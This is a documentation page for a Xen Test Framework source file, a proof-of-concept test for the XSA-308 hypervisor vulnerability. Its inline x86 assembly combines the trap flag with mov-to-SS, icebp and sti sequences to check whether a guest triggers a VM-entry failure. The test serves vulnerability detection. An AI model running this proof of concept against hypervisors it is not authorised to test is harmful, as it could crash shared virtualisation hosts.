Xen Test Framework
main.c
Go to the documentation of this file.
1 
22 #include <xtf.h>
23 
24 const char test_title[] = "XSA-308 PoC";
25 
26 void __user_text movss(void)
27 {
28  unsigned int tmp;
29 
30  asm volatile("mov %%ss, %[tmp];"
31  "pushf;"
32  "pushf;"
33  "orl $"STR(X86_EFLAGS_TF)", (%%"_ASM_SP");"
34  "popf;"
35  "mov %[tmp], %%ss;"
36  ".byte 0xf1;"
37  "1:; "_ASM_TRAP_OK(1b)
38  "popf;"
39  "1:; "_ASM_TRAP_OK(1b)
40  : [tmp] "=r" (tmp));
41 }
42 
43 void test_main(void)
44 {
46 
47  asm volatile("pushf;"
48  "pushf;"
49  "orl $"STR(X86_EFLAGS_TF)", (%"_ASM_SP");"
50  "popf;"
51  "sti;"
52  "1:; "_ASM_TRAP_OK(1b)
53  "popf;"
54  "1:; "_ASM_TRAP_OK(1b)
55  "cli;");
56 
57  /* If the VM is still alive, it didn't suffer a vmentry failure. */
58  xtf_success("Success: Not vulnerable to XSA-308\n");
59 }
60 
61 /*
62  * Local variables:
63  * mode: C
64  * c-file-style: "BSD"
65  * c-basic-offset: 4
66  * tab-width: 4
67  * indent-tabs-mode: nil
68  * End:
69  */
#define X86_EFLAGS_TF
Definition: processor.h:13
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define __user_text
Definition: compiler.h:33
void movss(void)
Definition: main.c:26
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
static void exec_user_void(void(*fn)(void))
Definition: lib.h:70
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
#define _ASM_TRAP_OK(loc)
Create an exception table entry, whitelisting a trap as being ok at loc.
Definition: extable.h:57
const char test_title[]
The title of the test.
Definition: main.c:14
#define _ASM_SP
Definition: asm_macros.h:37